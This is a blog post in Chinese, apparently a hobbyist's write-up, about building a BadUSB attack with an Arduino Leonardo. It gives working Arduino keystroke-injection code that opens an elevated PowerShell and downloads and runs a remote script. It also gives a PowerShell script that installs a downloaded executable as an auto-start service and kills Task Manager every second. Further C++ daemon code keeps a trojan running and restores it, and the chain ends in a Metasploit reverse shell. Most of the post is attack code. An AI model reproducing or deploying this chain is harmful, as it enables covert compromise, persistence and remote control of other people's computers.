BadUSB-Arduino自嗨

前段时间了解到攻击性硬件的概念,感觉很有趣,于是萌生了自己动手尝试一番badusb的想法。
于是在网上买了一小块Arduino Leonardo (便宜的很),利用Arduino IDE并结合powershell脚本c++程序等简单模拟一下病毒的攻击流程。

关于usb

U盘由芯片控制器和闪存两部分组成,芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。
BadUSB就是通过对U盘的固件进行逆向重新编程,相当于改写了U盘的操作系统而进行攻击的。
现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。

步骤

一.Arduino下载文件并执行

晒一晒我的Arduino Lenardo:


image.png

安装arduino IDE并编写代码。

#include<Keyboard.h> //包含键盘模块头文件
void setup(){ //初始化
Keyboard.begin();//开始键盘通信
delay(1000);//延时1000毫秒,
Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键 
Keyboard.press('r');//按下r键 CMD
delay(500); 
Keyboard.release(KEY_LEFT_GUI);//松掉win键 
Keyboard.release('r');//松掉r键 
delay(500); 
Keyboard.println("cmd");
Keyboard.press(KEY_RETURN);  //按下回车键
Keyboard.release(KEY_RETURN); //释放回车键
delay(500);
Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //缩小窗口
Keyboard.println("powershell.exe -command start-process powershell -verb runAs");  /*开启管理员级别的powershell*/
delay(2000);
Keyboard.press(KEY_LEFT_ARROW); //按住左方向键
Keyboard.release(KEY_LEFT_ARROW); //释放左方向键
delay(500); 
Keyboard.press(KEY_RETURN); //按下回车键
Keyboard.release(KEY_RETURN);//释放enter键
delay(3000); 
Keyboard.println("$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT"); //利用powershell 定义一个对象
Keyboard.println("$P.dOWNLOADfILE('HTTP://192.168.124.129/VIRUS/STEP1.PS1','C:\\TEMP\\STEP1.PS1')");  /*从服务端下载Powershell脚本*/
Keyboard.println("C:\\TEMP\\STEP1.PS1");
Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //缩小窗口
delay(500);
Keyboard.end();//结束键盘通讯 
} 
void loop()//循环,这里的代码
{ 
//循环体
}

逻辑比较简单,模拟键盘操作打开cmd,Powershell并隐藏窗口,从服务器下载powershell脚本并执行。这里由于不会绕过uac,于是用了比较蠢的键盘操作,方向键点击确定按钮。
选好正确的开发板和端口:


image.png

编译代码:


image.png

上传烧录:
image.png

接下来,插入arduino就会自动运行动作了。

二.powershell下载文件并创建服务

我想让powershell实现的功能是,去下载守护进程,创建一个自启动服务,并实现一个阻止用户打开任务管理器的功能。
关键代码:

$src = 'HTTP://192.168.124.129/VIRUS/daemon.exe'
$des = "C:\\TEMP\\daemon.exe"
$client = new-object System.Net.WebClient
$client.DownloadFile($src, $des)
new-Service -name daemonService -DisplayName daemonService -BinaryPathName "C:\\TEMP\\daemon.exe" -StartupType Automatic
while($true)
{
    $tasksmanager = "taskmgr"
    $status = Get-Process $tasksmanager -ErrorAction SilentlyContinue
    If ($status)
    {
        foreach($p in $status)
        {
            $p|stop-Process -force
        }
    }
    Start-Sleep -s 1
}

后面设定好每隔一秒去关闭任务管理器,当然可以把间隔时间设的更小。

三 编写守护程序

掏出了荒废已久的c++ :)
计划实现一个下载木马文件并备份,监控木马进程,自动重连和恢复文件的功能。
找的网上的程序,做了点修改。
文件检测并恢复:

BOOL checkFile(LPVOID strpath){
    char *path = (char *)strpath;
    if((fopen(path,"rb"))==NULL){
        return FALSE;
    }else{
        return TRUE;
    }
}
……
if(!checkFile(path[i])){
    source += "//beifen";
    destination = (string)path[i];
    CopyFile(source.data(), destination.data(), FALSE);
    cout << path[i] <<endl;
}

进程监控:

DWORD WINAPI Daemonproc(LPVOID lpParameter)
{
    char *path = (char *)lpParameter;
    cout << "child process " << path<< endl;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    do{
        if(!CreateProcess( NULL,path,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi))
        {
            cout << "创建进程失败.." << GetLastError() << endl;
            return 0;
        }
        WaitForSingleObject( pi.hProcess, INFINITE);
        cout << "子进程已经退出..." << endl;
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }while(true);
    return 0;
}

配置文件tellme.ini:

[PROCESSNUM]
num=1
[PROCESSPATH]
path1="C:\Update\step3.exe"

四.metaspoloit

metasploit生成一个反连马。


image.png

五.final

最后把这几个步骤结合起来
arduino下载step1.ps1并执行;setp1.ps1下载其他文件,创建服务;启动 daemon.exe,复制木马到update目录,并反连metasploit。
最后的效果:


image.png

最后想要的效果是勉强实现了,但还是有很多的问题,比如这个powershell的窗口隐藏,因为我step1.ps1顺便执行了监听关闭任务管理器的功能,关掉界面功能就断掉了,最小化就没法继续输命令;还有这个daemon.exe没法自启动,需要我手动启动一下或者重启;还有arduino第一次插入会安装驱动器,我的win10成功安装了,win7没安装成功导致用不了,郁闷。而且代码实现的也很有问题,东拼西凑的,有点乱,也懒得继续花功夫雕琢了。不过确实挺好玩的,哈哈哈。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 218,036评论 6 506
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,046评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,411评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,622评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,661评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,521评论 1 304
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,288评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,200评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,644评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,837评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,953评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,673评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,281评论 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,889评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,011评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,119评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,901评论 2 355

推荐阅读更多精彩内容